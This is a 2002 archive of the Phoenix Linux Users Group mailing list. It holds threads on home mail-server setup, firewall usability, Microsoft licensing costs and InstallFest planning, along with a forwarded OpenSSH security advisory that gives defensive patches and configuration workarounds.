__________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 10:25:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 03:25:00 -0700 Subject: setting up a real pop server at home Message-ID: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> ok, I've been searching some of the online docs and I'm not really close to a solution here. I'd like to setup and run a home based pop3 server to operate in concert with my smtp server (which is already working). so far, the mandrake website seems of little help. anyone happen to have a solution to this? it would make my life easier if I could check my e-mail from inside the lan on a box instead of logging into the gateway box, then using pine to check my mail (its a hassle). Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 11:37:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 04:37:05 -0700 Subject: setting up a real pop server at home In-Reply-To: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <1025091425.2388.2.camel@barney.azapple.com> On Wed, 2002-06-26 at 03:25, technomage wrote: > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > ---- On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, pop3s, imap & imaps services. Install the imap package and configure the above via xinetd and your firewall accordingly. Mandrake may have used something other than uw-imap. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:11:32 -0400 Subject: MS Pricing Plans Message-ID: <3D19AF74.D8DC4DEC@georgetoft.com> A friend of mine presented this to me: ---------- Recently, Microsoft offered an "Enterprise Agreement Program" to the Department of xxxx and we immediately requested quotes based on this agreement to see how we would fare. The cost for the Enterprise Agreement, when compared against the other options, is reasonable, and the benefits associated with the Enterprise Agreement are significant. Summary of Cost Comparison (for MS Office, Windows, CAL Bundle): MS Enterprise license per seat cost: $218.25 annually, for three years. Upgrade Advantage per seat cost: $328.36 paid once, two year agreement Software Assurance per seat cost $407.00 paid once, two year agreement New License per seat cost $632.00 per license ---------- Let me get this straight. The Department paid $50 (or so) for Windows when the computer was purchased, and $250 (deep Government discount) for Office. Now Microsoft wants them to pay almost this same amount every year? Where's my MS Enterprise Car, the one that I buy for a fixed price from the dealer, and then pay the same price for year after year? Looking at it another way, $218 per year for a small enterprise of say, 250 people, is $54,500 per year. That's enough money to add one more person to the work force (a $15.00/hr worker). If you have a large enterprise, of say 10,000 people, which (using the same numbers as above), is $2,180,000 per year. $2.1M will buy fourty $15.00/hour workers, or up to 18 high-tech people. It seems to me that with a team of 18-40 people, a company could migrate off the Microsoft nipple and recover their investment in under two years. But then there's that "What if it breaks? Who do we point the finger at?" I am not qualified to discuss Microsoft's Enterprise support. Maybe someone else can speak to that from first hand experience? If it's anything like the support contracts I've seen from every other vendor *EXCEPT* Sun Microsystems, it is money wasted. The Enterprise would get more return on their money by rolling it up on spools and putting it the restroom stalls. Just a thought . . . George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:25:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:25:24 -0400 Subject: setting up a real pop server at home References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <3D19B2B4.CC48C9A3@georgetoft.com> I think the easiest solution would be to allow outgoing port 110 on your firewall to your POP server. If your objective is to consolidate multiple e-mail accounts onto one server, use fetchmail to fetch all of your mail and dump it into a single account. George technomage wrote: > > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:20:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:20:45 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025067862.30993.10.camel@barney.azapple.com> Message-ID: <3D19B19D.473E6146@georgetoft.com> For those learning iptables, please visit my presentation I gave a couple months ago (to another LUG) and comment on it. Was it clear? Did it help? http://www.georgetoft.com/linux/plug/presentations/firewall/index.html The objective of the presentation is to give the audience the basic background to read iptables scripts so they can modify scripts for their own use. When I started the presentation, I knew nothing about iptables. Now I have a custom firewall that has been professionally tested, and works quite well. In fact, every commercial scanner/vulnerability tester has stated this level of security is very unusual, and assumed there was a problem in the testing of the firewall. Thank you. George Craig White wrote: > > On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > > > > I should know about firewall configuration. I now have a reason to learn. > > =^) > > > > > > However, as we propel Linux forward, we need to help develop tools that don't > > require the user to know how or even why he needs a firewall. The average Joe > > just wants to know that his computer is secure because he picked the secure > > option on his install. And, if he needs to close a port or open a port, he > > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > > select an option and be on his merry way. Not an easy task but this is the > > mindset that company in Redmond has created and our society expects. > > > > If we want Linux on every desktop, it has to be made that easy. > > > > > ----- > I thoroughly disagree with this rant. > This has nothing whatsoever to do with Microsoft or Microsoft mindset. > In fact, your attitude represents the spoiled mentality of the Microsoft > user. > > This is open source software - when you see a need, you should offer > your time and energies to fill it - don't be content to curse the > darkness, light a candle. > > Redhat offers a simple minded 3 level firewall choice on install, all > using ipchains which is only offered on the 2.4 kernels for backwards > compatibility. You are probably wasting your time trying to learn > ipchains at this point. Netfilter/iptables is the native firewall module > for 2.4 kernels. If you want to learn something that is applicable, that > is what you should learn. > > If you want simple minded firewall configuration utility, may I suggest > firestarter. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:38:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 05:38:04 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <1025091425.2388.2.camel@barney.azapple.com> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> Message-ID: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> ok. I'm not sure what I did, but I managed to do it. postfix is working fine for internal mail, but now it presents "connection refused" to any attempt to send mail to it from the outside world. I've checked the config files 4 times and I can't seem to find the problem. a telnet to the proper port from a remote machine yields "connection refused" and a telnet from inside (to localhost) gives me a banner. what am I missing here? Technomage On Wednesday 26 June 2002 04:37 am, you wrote: > On Wed, 2002-06-26 at 03:25, technomage wrote: > > ok, > > I've been searching some of the online docs and I'm not really close to a > > solution here. I'd like to setup and run a home based pop3 server to > > operate in concert with my smtp server (which is already working). so > > far, the mandrake website seems of little help. > > > > anyone happen to have a solution to this? > > it would make my life easier if I could check my e-mail from inside the > > lan on a box instead of logging into the gateway box, then using pine to > > check my mail (its a hassle). > > ---- > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > pop3s, imap & imaps services. Install the imap package and configure the > above via xinetd and your firewall accordingly. Mandrake may have used > something other than uw-imap. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 13:11:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 06:11:01 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <20020626131101.XLFT24965.fed1mtao02.cox.net@there> nevermind. I found at least this one problem.... it wasn't locking to all interfaces (damned elusive commands not listed in man pages). ok, additional problem, mail thats supposed to be delivered to root gets stashed in nobody (in /var/spool/mail). because of this, I never see any of my system logs and/or reports. any way to correct this? On Wednesday 26 June 2002 05:38 am, you wrote: > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection > refused" and a telnet from inside (to localhost) gives me a banner. what am > I missing here? > > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:47 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> <20020626131101.XLFT24965.fed1mtao02.cox.net@there> Message-ID: <002f01c21d1e$101f5b30$0301010a@tickticker.com> i guess port 25 is open :-) ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 6:11 AM Subject: Re: additional problem [was Re: setting up a real pop server at home] > nevermind. > I found at least this one problem.... > it wasn't locking to all interfaces (damned elusive commands not listed in > man pages). > > ok, additional problem, mail thats supposed to be delivered to root gets > stashed in nobody (in /var/spool/mail). because of this, I never see any of > my system logs and/or reports. any way to correct this? > > On Wednesday 26 June 2002 05:38 am, you wrote: > > ok. > > I'm not sure what I did, but I managed to do it. > > postfix is working fine for internal mail, but now it presents "connection > > refused" to any attempt to send mail to it from the outside world. I've > > checked the config files 4 times and I can't seem to find the problem. > > > > a telnet to the proper port from a remote machine yields "connection > > refused" and a telnet from inside (to localhost) gives me a banner. what am > > I missing here? > > > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:23 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <002a01c21d1e$01ef2770$0301010a@tickticker.com> do you have a firewall blocking port 25? anthony ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 5:38 AM Subject: additional problem [was Re: setting up a real pop server at home] > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection refused" > and a telnet from inside (to localhost) gives me a banner. what am I missing > here? > > Technomage > > On Wednesday 26 June 2002 04:37 am, you wrote: > > On Wed, 2002-06-26 at 03:25, technomage wrote: > > > ok, > > > I've been searching some of the online docs and I'm not really close to a > > > solution here. I'd like to setup and run a home based pop3 server to > > > operate in concert with my smtp server (which is already working). so > > > far, the mandrake website seems of little help. > > > > > > anyone happen to have a solution to this? > > > it would make my life easier if I could check my e-mail from inside the > > > lan on a box instead of logging into the gateway box, then using pine to > > > check my mail (its a hassle). > > > > ---- > > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > > pop3s, imap & imaps services. Install the imap package and configure the > > above via xinetd and your firewall accordingly. Mandrake may have used > > something other than uw-imap. > > > > Craig > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:47:47 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51C@mail.int.fh.org> K-Mail 3 does lists. It is just a little unstable. Hopefully that has been fixed in K-Mail 3.1 which is out but Red Hat has not yet put it on the up2date. -----Original Message----- From: mazdaracer [mailto:mazdaracer@earthlink.net] Sent: Tuesday, June 25, 2002 8:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: mail aliases, mailinglist and netscape mail I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:58:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:58:40 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Tuesday, June 25, 2002 10:04 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 15:35:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 08:35:25 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> Message-ID: <1025105725.2621.9.camel@barney.azapple.com> On Wed, 2002-06-26 at 07:58, Tom Achtenberg wrote: > The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. > ---- You are wrong Tom System sets up just fine for average user. In this case, Alan wanted to set it up as a server. This is NOT a typical user function. This requires a bit more knowledge. Firewall script installed at installation allowed him to choose the ports that he wanted to have open. Poor planning isn't tolerated well in Windows world either. Helping doesn't necessarily have anything to do with programming. You can write some help files - many of which need to be done. It's open source which means that it is built through the efforts of people like you and me as well as the programmers. ipchains scripts & iptables scripts are available and really have nothing to do with programming anyway. Programs like firestarter can simplify the process for those who have little understanding of firewall scripts. But firewall scripts have nothing to do with programming but they do have something to do with understanding tcp/ip. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:44:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:44:15 -0400 (EDT) Subject: West Side InstallFest In-Reply-To: Message-ID: On Wed, 26 Jun 2002, der.hans wrote: > > It was mentioned that der.hans provided quite > > a bit of invaluable wiring and power gear, that > > My gear can be made available again. Thank You! > Pre-arrange for 802.11 stuff. > > Get a press release ready before the end of July and hit it again at the end > of Aug. > > Set aside a place for demos and mark it clearly. > > Do the presentations. We got good traffic out of those. > > Have promo materials for the meetings and a workstation where people can > sign up for the mailing list ( they'll still need to reply when they check > their email ). Excellant Ideas! Thanks! > Homemade cheesecake goes over really well :). A rule I try to live my life by :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:47:48 -0400 (EDT) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: I'm contacting the educational distribution rep for Sun StarOffice today regarding some licenses for my office. Would anyone be opposed to my inviting them to sponsor the InstallFest? Are we entirely dedicated to OpenOffice, or would it be OK to also have StarOffice on site (and potentially for sale)? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:01:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 26 Jun 2002 21:01:36 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D1A8E20.E0B24537@mindspring.com> bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > Yes FreeBSD and OpenBSD were represented. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:06:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 26 Jun 2002 09:06:22 -0700 (MST) Subject: SSH Exploit Revealed (fwd) Message-ID: *** OpenSSH Remote Root Exploit *** Hey all. I just sent this to AZIPA and considering the severe impact of a remote root exploit, and the fact that many of you are probably running OpenSSH, I thought I'd forward it to PLUG too. Details below: -- ~Jay ---------- Forwarded message ---------- Date: Wed, 26 Jun 2002 09:04:33 -0700 (MST) From: Jay To: AZIPA Subject: SSH Exploit Revealed *REMEMBER* OpenSSH is included in many products - you may be running it and not even know it. If any of your equipment (routers, servers, switches, toasters, etc...) supports secure remote login/management, then chances are you're using some form of SSH. There is a vulnerability in OpenSSH that allows an attacker to *remotely* gain root/administrator/super-user (full control) over the system. EdgeSecure already performs a test for this vulnerability - Threat ID# 11031 - http://www.edgeos.com/threats/details.php?id=11031 An EdgeSecure Advanced Scan (http://www.edgeos.com) will quickly test any of your systems for this security threat. I have included the official OpenSSH advisory notice below. If you *are* vulnerable to this threat, you should implement the solutions described below. If your version of SSH is embedded in a device (like a router or some vendor's server management software, for example), then you should contact your vendor *immediately* for a patch. -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. --- OpenSSH Advisory --- Subject: OpenSSH Security Advisory (adv.iss) 1. Versions affected: All versions of OpenSSH's sshd between 2.9.9 and 3.3 contain an input validation error that can result in an integer overflow and privilege escalation. OpenSSH 3.4 and later are not affected. OpenSSH 3.2 and later prevent privilege escalation if UsePrivilegeSeparation is enabled in sshd_config. OpenSSH 3.3 enables UsePrivilegeSeparation by default. Although OpenSSH 2.9 and earlier are not affected upgrading to OpenSSH 3.4 is recommended, because OpenSSH 3.4 adds checks for a class of potential bugs. 2. Impact: This bug can be exploited remotely if ChallengeResponseAuthentication is enabled in sshd_config. Affected are at least systems supporting s/key over SSH protocol version 2 (OpenBSD, FreeBSD and NetBSD as well as other systems supporting s/key with SSH). Exploitablitly of systems using PAM in combination has not been verified. 3. Short-Term Solution: Disable ChallengeResponseAuthentication in sshd_config. or Enable UsePrivilegeSeparation in sshd_config. 4. Solution: Upgrade to OpenSSH 3.4 or apply the following patches. 5. Credits: ISS. Appendix: A: Index: auth2-chall.c =================================================================== RCS file: /cvs/src/usr.bin/ssh/auth2-chall.c,v retrieving revision 1.18 diff -u -r1.18 auth2-chall.c --- auth2-chall.c 19 Jun 2002 00:27:55 -0000 1.18 +++ auth2-chall.c 26 Jun 2002 09:37:03 -0000 @@ -256,6 +256,8 @@ authctxt->postponed = 0; /* reset */ nresp = packet_get_int(); + if (nresp > 100) + fatal("input_userauth_info_response: nresp too big %u", nresp); if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)); for (i = 0; i < nresp; i++) B: Index: auth2-pam.c =================================================================== RCS file: /var/cvs/openssh/auth2-pam.c,v retrieving revision 1.12 diff -u -r1.12 auth2-pam.c --- auth2-pam.c 22 Jan 2002 12:43:13 -0000 1.12 +++ auth2-pam.c 26 Jun 2002 10:12:31 -0000 @@ -140,6 +140,15 @@ nresp = packet_get_int(); /* Number of responses. */ debug("got %d responses", nresp); + + if (nresp != context_pam2.num_expected) + fatal("%s: Received incorrect number of responses " + "(expected %u, received %u)", __func__, nresp, + context_pam2.num_expected); + + if (nresp > 100) + fatal("%s: too many replies", __func__); + for (i = 0; i < nresp; i++) { int j = context_pam2.prompts[i]; ------------ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:21:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 26 Jun 2002 09:21:16 -0700 Subject: InstallFest & StarOffice? In-Reply-To: References: Message-ID: <0206260921160S.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Go For It! The more "big kids" who jump on board, the better. On Wednesday 26 June 2002 07:47, you wrote: > I'm contacting the educational distribution rep > for Sun StarOffice today regarding some licenses > for my office. Would anyone be opposed to my > inviting them to sponsor the InstallFest? Are > we entirely dedicated to OpenOffice, or would > it be OK to also have StarOffice on site (and > potentially for sale)? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRnp/Csk3ywszI1FEQIzjQCeOXt/lJIPsqEW8sw01N7wu6wwW28AoKwY Gacak1KvYImB+gek1pJTNrmr =AQ7k -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:15:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 09:15:39 -0700 (MST) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:31:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 09:31:53 -0700 Subject: InstallFest & StarOffice? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B523@mail.int.fh.org> Maybe he could resurrect the old Unix version of Outlook..... -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Wednesday, June 26, 2002 9:16 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: InstallFest & StarOffice? Any sponsor who will agree, is a fine sponsor in my book. Hey, if Bill Gates wants to be a sponsor, that's fine too. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:35:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 11:35:31 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: Message-ID: > 4. I will start an old war here. I would love to see PLUG have a membership database, that let people list their specialities etc.. This would be nice so that if we wanted to ever do mailings for things like install fests guest speakers and such, but more importantly if someone says "I want to install Free BSD on an AMIGA" (or something) we could help find someone who might have experience in that. More over, it would be nice to have people coming to the install fests sign up so we could do adequate followup and inform them of training and the likes. I realize much of this group is very strict privacy and has a paranoia of giving their data to people, what I'm proposing would be strictly optional. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:07:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 10:07:05 -0700 Subject: West Side InstallFest In-Reply-To: References: Message-ID: <200206261007.11942.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > I will start an old war here. I would love to see PLUG have a membership > database, that let people list their specialities etc.. This would be > nice so that if we wanted to ever do mailings for things like install > fests guest speakers and such, but more importantly if someone says "I > want to install Free BSD on an AMIGA" (or something) we could help find > someone who might have experience in that. > > More over, it would be nice to have people coming to the install fests > sign up so we could do adequate followup and inform them of training and > the likes. How would this be significantly different from a posting to the PLUG mailing list? An expert who sees the title "Free BSD on an AMIGA" is just as likely to volunteer with or without being registered. Additionally, please lose and gain skills constantly, but probably do not wish to maintain a PLUG profile (at least, I don't particularly care to). About the install-festees (can we call them that?), I am also in favor of the earlier suggestion that they sign onto the mailing list through a "subscriber box" while they are present. This way the followup and announcements would be along the lines of 30-50 messages a day! Certainly that is enough. ;-) It is a good idea, I just don't see it as being necessary given the nature of the PLUG mailing list. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu 